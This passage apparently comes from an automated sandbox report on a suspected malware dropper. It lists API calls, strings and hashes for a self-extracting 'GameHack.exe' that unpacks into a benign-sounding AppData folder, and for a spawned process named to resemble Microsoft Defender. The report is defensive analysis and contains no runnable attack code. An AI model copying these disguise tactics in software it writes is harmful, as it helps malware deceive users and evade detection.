Strings

0, xrefs: 00A0130E

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: c9f057c03f9dfb22b772972150a3c7b48c6fd22411ba6c30fec7a75fc5ea94ac
Instruction ID: 4cd950c5cfaf70da2721d30a5b0588aaaeeb5293d30cf65750cc60f92536897b
Opcode Fuzzy Hash: c9f057c03f9dfb22b772972150a3c7b48c6fd22411ba6c30fec7a75fc5ea94ac
Instruction Fuzzy Hash: 1EF0AF7110434CABDFB54FA0AC49BED3BE8BB11345F088414FE495A5E1C778C996EB51

Function 00A1084E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00A1096D,?,?,00A109EF,?,?,?,?,?,00A109D9), ref: 00A10854
GetLastError.KERNEL32(?,?,00A109EF,?,?,?,?,?,00A109D9), ref: 00A10860

Part of subcall function 00A06E91: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00A06EAF

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00A10869

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: e71792c47d0f819bb27d7b60d3656cd2494884289b70939ce2e768c8baeb11d9
Instruction ID: f553e692766851d62fbbddb1e7f791e20dd68f89988f95c65b1f55346e34244d
Opcode Fuzzy Hash: e71792c47d0f819bb27d7b60d3656cd2494884289b70939ce2e768c8baeb11d9
Instruction Fuzzy Hash: B9D05E3690C53137CA1427A4FD0ADEFB9059F52734F240725F639A51F5DA2109A282E5

Function 00A0DA4E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00A0D32F,?), ref: 00A0DA53
FindResourceW.KERNEL32(00000000,RTL,00000005,?,00A0D32F,?), ref: 00A0DA61

Strings

RTL, xrefs: 00A0DA5B

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: 3bc6c7dc366862e6ccaf47155a862c5c5ec914400823c12301446fdc64cffbf0
Instruction ID: 8263b3b3a1d684e3a45f08e44d25e8c8ad0c592dab4c7c910046fd1ba8c10b46
Opcode Fuzzy Hash: 3bc6c7dc366862e6ccaf47155a862c5c5ec914400823c12301446fdc64cffbf0
Instruction Fuzzy Hash: C5C0123338D350B6DF3457A07D0DB432A486B11B52F05048CB141DE5D0D5E5C9418650

Analysis Process: MpDefenderProtector.exePID: 7588, Parent PID: 7292COMMON

Execution Graph

Execution Coverage:	7.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	33
Total number of Limit Nodes:	5

Executed Functions

Function 027DE35E Relevance: 6.1, APIs: 4, Instructions: 120
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 027DE3CE
GetCurrentThread.KERNEL32 ref: 027DE40B
GetCurrentProcess.KERNEL32 ref: 027DE448
GetCurrentThreadId.KERNEL32 ref: 027DE4A1

Memory Dump Source

Source File: 00000007.00000002.1312785468.00000000027D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 027D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27d0000_MpDefenderProtector.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: b8257423805ad2543c3c38b008a8072ea094633cb9945c7e8a74232c8230bb71
Instruction ID: 81cd4c8ef0a07d226274612d66ed53749b3fea939ed49f386c8a321e2ee83d49
Opcode Fuzzy Hash: b8257423805ad2543c3c38b008a8072ea094633cb9945c7e8a74232c8230bb71
Instruction Fuzzy Hash: 9B5144B0900349CFEB15DFA9D548BAEBBF1EB48314F208459E419AB390CB34A945CF66

Function 027D7894 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 027DC969

Memory Dump Source

Source File: 00000007.00000002.1312785468.00000000027D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 027D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27d0000_MpDefenderProtector.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 51be38df00204b1af60bdb5bf870835ca918f0422610827a45f922ef9fba8683
Instruction ID: 9393d4162df28ce3ead2726ce56b85bc172dd375e4f106597720b1fc930f1fad
Opcode Fuzzy Hash: 51be38df00204b1af60bdb5bf870835ca918f0422610827a45f922ef9fba8683
Instruction Fuzzy Hash: 9241C3B1C0071DCBEB25DFA9C844B9DBBF5BF48304F20816AD409AB255DB756946CF90

Function 027DC8AC Relevance: 1.6, APIs: 1, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 027DC969

Memory Dump Source

Source File: 00000007.00000002.1312785468.00000000027D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 027D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27d0000_MpDefenderProtector.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 29781d52a7f12eaf038946dd3cdebe1e8b5063441e935792e275b3cba0b9e87a
Instruction ID: 174cae911cbdb0857740d2a695a2861c967b3df7d8b9a9ff0f4ba9319a51d282
Opcode Fuzzy Hash: 29781d52a7f12eaf038946dd3cdebe1e8b5063441e935792e275b3cba0b9e87a
Instruction Fuzzy Hash: 0841F2B1C00719CFEB29DFA9C98479DBBF2BF48304F20816AD409AB255DB756A46CF50

Function 027DE590 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 027DE61F

Memory Dump Source

Source File: 00000007.00000002.1312785468.00000000027D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 027D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27d0000_MpDefenderProtector.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 9503af3685ea8eeea3e6a03d492bfc9b13a2553d536068e986d00abca9fd9447
Instruction ID: 861f08645dbdc48bbfc13f8030accb3245ca80a5ed8239cc94dfe03d3c37a68c
Opcode Fuzzy Hash: 9503af3685ea8eeea3e6a03d492bfc9b13a2553d536068e986d00abca9fd9447
Instruction Fuzzy Hash: DC2114B5D00309AFDB10CF9AD884ADEBBF4EB48324F14801AE914A3310D379A941CFA5

Function 027DE598 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 027DE61F

Memory Dump Source

Source File: 00000007.00000002.1312785468.00000000027D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 027D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27d0000_MpDefenderProtector.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 7f7e391e59210dc68670b4a3e1dcdb69218737b5a3d69fb22aaa33d91e04f713
Instruction ID: defb8dccff0d8202a1b6bcd880da6f51764c85cef3a5f4f7d96e384a4dd50018
Opcode Fuzzy Hash: 7f7e391e59210dc68670b4a3e1dcdb69218737b5a3d69fb22aaa33d91e04f713
Instruction Fuzzy Hash: 7021E4B5D003099FDB10CF9AD984ADEBBF5EB48320F14801AE914A7350D378A945CF65

Analysis Process: GameHack.exePID: 7612, Parent PID: 7292COMMON

Execution Graph

Execution Coverage:	9.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1504
Total number of Limit Nodes:	27

Executed Functions

Function 00EED5D4 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 197
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EE00CF: GetModuleHandleW.KERNEL32(kernel32), ref: 00EE00E4
Part of subcall function 00EE00CF: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00EE00F6
Part of subcall function 00EE00CF: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00EE0127

Part of subcall function 00EE9DA4: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00EE9DAC

Part of subcall function 00EEA335: OleInitialize.OLE32(00000000), ref: 00EEA34E
Part of subcall function 00EEA335: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00EEA385
Part of subcall function 00EEA335: SHGetMalloc.SHELL32(00F18430), ref: 00EEA38F

Part of subcall function 00EE13B3: GetCPInfo.KERNEL32(00000000,?), ref: 00EE13C4
Part of subcall function 00EE13B3: IsDBCSLeadByte.KERNEL32(00000000), ref: 00EE13D8

GetCommandLineW.KERNEL32 ref: 00EED61C
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00EED643
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 00EED654
UnmapViewOfFile.KERNEL32(00000000), ref: 00EED68E

Part of subcall function 00EED287: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00EED29D
Part of subcall function 00EED287: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00EED2D9

CloseHandle.KERNEL32(00000000), ref: 00EED697
GetModuleFileNameW.KERNEL32(00000000,00F2DC90,00000800), ref: 00EED6B2
SetEnvironmentVariableW.KERNEL32(sfxname,00F2DC90), ref: 00EED6BE
GetLocalTime.KERNEL32(?), ref: 00EED6C9
_swprintf.LIBCMT ref: 00EED708
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00EED71A
GetModuleHandleW.KERNEL32(00000000), ref: 00EED721
LoadIconW.USER32(00000000,00000064), ref: 00EED738
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001AEE0,00000000), ref: 00EED789
Sleep.KERNEL32(?), ref: 00EED7B7
DeleteObject.GDI32 ref: 00EED7F0
DeleteObject.GDI32(?), ref: 00EED800
CloseHandle.KERNEL32 ref: 00EED843

Strings

sfxname, xrefs: 00EED6B9
winrarsfxmappingfile.tmp, xrefs: 00EED637
C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor, xrefs: 00EED5E9
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00EED6F9
sfxstime, xrefs: 00EED715
STARTDLG, xrefs: 00EED77E

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$ByteCommandCurrentDialogDirectoryGdiplusIconInfoInitializeLeadLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 788466649-2753588727
Opcode ID: dad913b341d9472ea5713545244385add40d22a16c5a8d8d17c4f114348c18ac
Instruction ID: 6d460ee9860bb24ed84b3846a2dce44803441ada5d8b4b18b575109e0c3337aa
Opcode Fuzzy Hash: dad913b341d9472ea5713545244385add40d22a16c5a8d8d17c4f114348c18ac
Instruction Fuzzy Hash: C061E57190438DAFD320AFA2EC49F6A37ECBB48744F005429F545E22A1DFB4D945EB62

Function 00EDA5F4 Relevance: 7.6, APIs: 5, Instructions: 107
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00EDA4EF,000000FF,?,?), ref: 00EDA628
FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,00EDA4EF,000000FF,?,?), ref: 00EDA65E
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00EDA4EF,000000FF,?,?), ref: 00EDA66A
FindNextFileW.KERNEL32(?,?,?,?,?,?,00EDA4EF,000000FF,?,?), ref: 00EDA692
GetLastError.KERNEL32(?,?,?,?,00EDA4EF,000000FF,?,?), ref: 00EDA69E

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: 06d65dfdd5d700108792a2d5dfd573e0e74a7705cecbba3745dbcd5d95c8a358
Instruction ID: 6115f5700755fc5e554217e2068ab0c8e396ef11c8987c211138366c149676cf
Opcode Fuzzy Hash: 06d65dfdd5d700108792a2d5dfd573e0e74a7705cecbba3745dbcd5d95c8a358
Instruction Fuzzy Hash: 5E417371504245EFC720EF78C884ADAF7E8FB48344F08092AF5A9E3250D774AA558B52

Function 00EF753D Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00EF7513,00000000,00F0BAD8,0000000C,00EF766A,00000000,00000002,00000000), ref: 00EF755E
TerminateProcess.KERNEL32(00000000,?,00EF7513,00000000,00F0BAD8,0000000C,00EF766A,00000000,00000002,00000000), ref: 00EF7565
ExitProcess.KERNEL32 ref: 00EF7577

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: df44bd0d3be4c9629b5b22512e14ecd4c778756f246d8472e81bc6fb3a4fa1b9
Instruction ID: 3c117ede05d7ad70315928cd8fd8fd2fe9d1b27a8e98d961ded20223a18042b8
Opcode Fuzzy Hash: df44bd0d3be4c9629b5b22512e14ecd4c778756f246d8472e81bc6fb3a4fa1b9
Instruction Fuzzy Hash: CCE0B63110564CABDF11AF64DD09A693B69FB44785F109424FA49AA222CB35DE42DA90

Function 00ED857B Relevance: 3.9, APIs: 2, Instructions: 947COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00ED8580
_memcmp.LIBVCRUNTIME ref: 00ED8A08

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: H_prolog_memcmp
String ID:
API String ID: 3004599000-0
Opcode ID: 7f28d2e72eee07ffcdf1be3a46dd194c5c7ed9b7a77079d77a57d4a1c7fb3682
Instruction ID: 8b4a1cd7e1c8d93940072f26fa8361f35061c6294f04cdca185a8cd88b2cf6b3
Opcode Fuzzy Hash: 7f28d2e72eee07ffcdf1be3a46dd194c5c7ed9b7a77079d77a57d4a1c7fb3682
Instruction Fuzzy Hash: 37821970904245AEDF25DB60C985BFAB7B9EF05304F0861BBE859BB383DB315A46CB50

Function 00EEAEE0 Relevance: 98.7, APIs: 47, Strings: 9, Instructions: 724COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00EEAEE5

Part of subcall function 00ED130B: GetDlgItem.USER32(00000000,00003021), ref: 00ED134F
Part of subcall function 00ED130B: SetWindowTextW.USER32(00000000,00F035B4), ref: 00ED1365

Strings

winrarsfxmappingfile.tmp, xrefs: 00EEB2BC
C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor, xrefs: 00EEB2DF
"%s"%s, xrefs: 00EEB423
@, xrefs: 00EEB2A7
STARTDLG, xrefs: 00EEAF04
__tmp_rar_sfx_access_check_%u, xrefs: 00EEB1CB
LICENSEDLG, xrefs: 00EEB771
-el -s2 "-d%s" "-sp%s", xrefs: 00EEB281
<, xrefs: 00EEB29A

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: H_prologItemTextWindow
String ID: "%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 810644672-2179422497
Opcode ID: b2d6c5b2dff85ce516a5a6da6e70777b4669ddf0ba9ff94fdf881d0290dc36db
Instruction ID: b3ff98b4d47dde0ecf89531fd150214d3ccf45ab4047ea984f5671af0b595bf7
Opcode Fuzzy Hash: b2d6c5b2dff85ce516a5a6da6e70777b4669ddf0ba9ff94fdf881d0290dc36db
Instruction Fuzzy Hash: 1C4204B094429CBEEB21ABA19D8AFFF37BDEB01744F006155F601B61E1CB744945EB22

Function 00EE00CF Relevance: 51.1, APIs: 22, Strings: 7, Instructions: 317
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 00EE00E4
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00EE00F6
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00EE0127
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00EE03D4
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EE03F0
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00EE0402
ReadFile.KERNEL32(00000000,?,00007FFE,00F03BA4,00000000), ref: 00EE0421
CloseHandle.KERNEL32(00000000), ref: 00EE0479
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00EE048F
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,?,00000000,?,00000800), ref: 00EE04E7
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00000000,?,00000800), ref: 00EE0510
GetFileAttributesW.KERNEL32(?,?,?,00000800), ref: 00EE054A

Part of subcall function 00EE0085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00EE00A0
Part of subcall function 00EE0085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00EDEB86,Crypt32.dll,00000000,00EDEC0A,?,?,00EDEBEC,?,?,?), ref: 00EE00C2

_swprintf.LIBCMT ref: 00EE05BE
_swprintf.LIBCMT ref: 00EE060A

Part of subcall function 00ED400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00ED401D

AllocConsole.KERNEL32 ref: 00EE0612
GetCurrentProcessId.KERNEL32 ref: 00EE061C
AttachConsole.KERNEL32(00000000), ref: 00EE0623
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00EE0649
WriteConsoleW.KERNEL32(00000000), ref: 00EE0650
Sleep.KERNEL32(00002710), ref: 00EE065B
FreeConsole.KERNEL32 ref: 00EE0661
ExitProcess.KERNEL32 ref: 00EE0669

Strings

SetDefaultDllDirectories, xrefs: 00EE0121
DXGIDebug.dll, xrefs: 00EE0169, 00EE04D3
uxtheme.dll, xrefs: 00EE058B
SetDllDirectoryW, xrefs: 00EE00F0
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00EE05F8
kernel32, xrefs: 00EE00DD
dwmapi.dll, xrefs: 00EE0194, 00EE0581

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1201351596-3298887752
Opcode ID: 541a9cc66c4431133e46d1f2f1b73fdc4dcd2872976111bb764fc3ce3d94b034
Instruction ID: 65cbb365689c9cd500c5183cf518a46c2bdb327e96ddfa0e7e1fb830dbe1151b
Opcode Fuzzy Hash: 541a9cc66c4431133e46d1f2f1b73fdc4dcd2872976111bb764fc3ce3d94b034
Instruction Fuzzy Hash: CED173B11093889BD731DF51D849B9FBAECFB84708F00591DF685A6281D7B09648BB62

Function 00EEBDF5 Relevance: 31.9, APIs: 14, Strings: 4, Instructions: 429
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00EEBDFA

Part of subcall function 00EEAA36: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 00EEAAFE

SetWindowTextW.USER32(?,?), ref: 00EEC127
_wcsrchr.LIBVCRUNTIME ref: 00EEC2B1
GetDlgItem.USER32(?,00000066), ref: 00EEC2EC
SetWindowTextW.USER32(00000000,?), ref: 00EEC2FC
SendMessageW.USER32(00000000,00000143,00000000,00F1A472), ref: 00EEC30A
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00EEC335

Strings

ProgramFilesDir, xrefs: 00EEC1FB
<br>, xrefs: 00EEC08A
Software\Microsoft\Windows\CurrentVersion, xrefs: 00EEC1D0
%s.%d.tmp, xrefs: 00EEBFF6

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 3564274579-312220925
Opcode ID: bb8ad0ccd64ebab9ad9c2b9bc7cb40d629d7fcb07bc067558dbd53c9b5ad47b7
Instruction ID: bae3955e988ff50fb791a50d1ddd66f492a1a3e4e042499f284b580a7f304ea9
Opcode Fuzzy Hash: bb8ad0ccd64ebab9ad9c2b9bc7cb40d629d7fcb07bc067558dbd53c9b5ad47b7
